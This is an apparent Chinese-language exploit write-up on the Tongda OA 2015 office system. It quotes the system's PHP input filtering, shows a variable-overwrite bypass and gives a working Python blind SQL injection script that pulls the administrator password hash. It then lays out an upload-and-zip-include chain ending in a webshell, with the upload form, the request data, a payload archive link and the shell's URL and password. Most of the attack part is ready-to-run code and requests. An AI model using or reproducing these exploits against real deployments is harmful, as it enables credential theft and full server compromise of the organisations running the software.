最近做众测的时候遇上的一个系统,2015版本的最新更新日期:2016-07-22 注入分析 \inc\common.inc.php ``` <?php function SecureRequest(&$var) { if (is_array($var)) { foreach ($var as $_k => $_v ) { $var[$_k] = securerequest($_v); } } else { if ((0 < strlen($var)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)) { exit("Invalid Parameters!"); } if (!get_magic_quotes_gpc()) { $var = addslashes($var); } } return $var; } function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k => $_v ) { checkrequest($_k); checkrequest($val[$_k]); } } else { if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) { exit("Invalid Parameters!"); } } } function RemoveXSS($val) { if (is_array($val)) { foreach ($val as $key => $val ) { $val[$key] = removexss($val); } } $val = preg_replace("/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/", "", $val); $ra = array("javascript", "vbscript", "expression", "script", "iframe", "frame",...
最近做众测的时候遇上的一个系统,2015版本的最新更新日期:2016-07-22 注入分析 \inc\common.inc.php ``` <?php function SecureRequest(&$var) { if (is_array($var)) { foreach ($var as $_k => $_v ) { $var[$_k] = securerequest($_v); } } else { if ((0 < strlen($var)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)) { exit("Invalid Parameters!"); } if (!get_magic_quotes_gpc()) { $var = addslashes($var); } } return $var; } function CheckRequest(&$val) { if (is_array($val)) { foreach ($val as $_k => $_v ) { checkrequest($_k); checkrequest($val[$_k]); } } else { if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) { exit("Invalid Parameters!"); } } } function RemoveXSS($val) { if (is_array($val)) { foreach ($val as $key => $val ) { $val[$key] = removexss($val); } } $val = preg_replace("/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/", "", $val); $ra = array("javascript", "vbscript", "expression", "script", "iframe", "frame", "onerror", "onload", "onmousemove", "onmouseout", "onmouseover", "onmove", "onmovestart"); $found = true; while ($found == true) { $val_before = $val; for ($i = 0; $i < sizeof($ra); $i++) { $pattern = "/"; for ($j = 0; $j < strlen($ra[$i]); $j++) { if (0 < $j) { $pattern .= "("; $pattern .= "(&#[xX]0{0,8}([9ab]);)"; $pattern .= "|"; $pattern .= "|(�{0,8}([9|10|13]);)"; $pattern .= ")*"; } $pattern .= $ra[$i][$j]; } $pattern .= "/i"; $replacement = substr($ra[$i], 0, 2) . " " . substr($ra[$i], 2); $val = preg_replace($pattern, $replacement, $val); if ($val_before == $val) { $found = false; } } } return $val; } checkrequest($_REQUEST); if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value ) { $_COOKIE[$s_key] = strip_tags(securerequest($s_value)); $$s_key = $_COOKIE[$s_key]; } reset($_COOKIE); } if (0 < count($_POST)) { $arr_html_fields = array(); foreach ($_POST as $s_key => $s_value ) { if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") { if (is_array($s_value)) { $_POST[$s_key] = securerequest($s_value); } else { $_POST[$s_key] = strip_tags(securerequest($s_value)); } $$s_key = $_POST[$s_key]; } else { unset($_POST[$s_key]); $s_key = substr($s_key, 15); $$s_key = securerequest($s_value); $arr_html_fields[$s_key] = $$s_key; } } reset($_POST); $_POST = array_merge($_POST, $arr_html_fields); } if (0 < count($_GET)) { foreach ($_GET as $s_key => $s_value ) { $_GET[$s_key] = strip_tags(securerequest($s_value)); $$s_key = $_GET[$s_key]; } reset($_GET); } unset($s_key); unset($s_value); ``` 逻辑分析一下, CheckRequest函数去检查`$_REQUEST`,通达oa是环境程序一体安装等,php版本是5.3.29,这个时候的`$_REQUEST`不包含`$_COOKIE`的,所以可以通过`cookie`来覆盖变量。 但是有一个很蛋疼的东西就是 ``` $_COOKIE[$s_key] = strip_tags(securerequest($s_value)); ``` `strip_tags`是没办法处理数组的,所以会返回null,故想覆盖比如`_SESSION['a']`的话,是没办法的。 接下来看后面的`$_COOKIE`->`$_POST`->`$_GET`,这些都是用SecureRequest函数去检查。然而这个函数只检查了数组键值,=。=,然后还不允许这样以_GET、_POST等开头变量覆盖 ``` preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var) ``` 看到这段对$_post的处理 ``` if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") { xxx } else { unset($_POST[$s_key]); $s_key = substr($s_key, 15); $$s_key = securerequest($s_value); $arr_html_fields[$s_key] = $$s_key; } ``` =。=,如果传过去一个`TD_HTML_EDITOR__SESSION[a]=1`,最后不就成了`_SESSION[a]=1`,还顺便绕过了上面的正则检查。 注入很多,用的是80sec的waf,比如 http://lemon.love:8081/general/document/index.php/send/approve/finish ``` public function approve_finish() { $CUR_USER_ID = $_SESSION["LOGIN_USER_ID"]; $sid = $this->input->post("sid"); $sid = rtrim($sid, ","); $sql = "select sid,user_list from doc_send_data where cur_user='$CUR_USER_ID' and status='2' and sid in($sid)"; $query = $this->db->query($sql); ``` bypass出数据: ``` import threading,time import requests url = "http://lemon.love:8081/general/document/index.php/send/approve/finish" def exp(n): global data for c in range(33,127): i = c flag = 1 payload = "1) and char(@`'`) union select if(ord(mid(PASSWORD,%d,1))=%d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,i) exp_data = { 'sid' : payload } cookies = { '_SERVER' : '' } try: res = requests.post(url, data=exp_data, cookies=cookies, timeout=5) except: data[n] = chr(i) print "Data %dth: %s" % (n,data[n]) flag = 0 break if flag: exit() def main(): threadpool=[] for n in xrange(1,10): th = threading.Thread(target=exp,args= (n,)) threadpool.append(th) for th in threadpool: th.start() for th in threadpool : threading.Thread.join(th) if __name__ == '__main__': data = {} start_time = time.time() main() print "Get data: ",data print "Spend time: ",time.time()-start_time for i in sorted(data): print data[i], ``` 这样就可以跑出管理员密码,这个是用unix加密的,放cmd5解密一下就好了。 上传+包含=>getshell general\reportshop\utils\upload.php 上传没验证,然后又可以变量覆盖。所以可以直接上传一个php。 exp.html ``` <form action="http://lemon.love:8081/general/reportshop/utils/upload.php?action=upload&filetype=xls" method="POST" enctype="multipart/form-data"> <input type="file" value="" name="FILE1"> <input type="submit" value="submit" name="submit"> </form> ``` 上传的地址是:xxx/attachment/reportshop/templates/upload.php 但是因为环境是一体的,所以这些上传的目录并没有执行权限。 看到这段运行的。 ``` function delete_file($url) { $url .= "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}"; include ($url); } 其中是这样调用的 else if ($action == "unupload") { if ($filetype == "xls") { xx; } else if ($filetype == "img") { xx; } else if ($filetype == "attach") { $uploaddir = MYOA_ATTACH_PATH . "reportshop/attachment/" . trim($filename); if (is_file($uploaddir)) { unlink($uploaddir); if (!isset($cluster)) { foreach ($arr_erp_server as $s_server ) { delete_file($s_server); } } } } } ``` 所以是这样的一个情况, ``` <?php include $_GET[1] . "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}"; ``` 这样的包含,可以利用zip、phar协议,但是后面还有?&=等符号,一个文件也没发这样创建。 先创建一个upload.....(很多.).php,然后在winhex里面修改它为  这样zip协议包含的时候就可以包含到这个文件了。 整理一下利用过程: 1. 先上传zip文件,里面包含payload 2. 再上传一个1.txt文件(任意内容都可以,主要是为了进入include包含里面的条件) 3. 进行包含 ``` http://lemon.love:8081/general/reportshop/utils/upload.de.php?action=unupload&filename=../templates/1.txt&filetype=attach post数据:注意路径在进入后台后有一个系统信息可看到路径 TD_HTML_EDITOR_arr_erp_server[aaa]=zip://C:\WWW\code-src\myoa\webroot\attachment\reportshop\templates\kk123.zip%23 ``` [kk123.zip](http://files.cnblogs.com/files/iamstudy/kk123.zip) 这个zip包含后会生成一个shell,地址是 ``` http://lemon.love:8081/general/reportshop/utils/l.php password:kk123 ```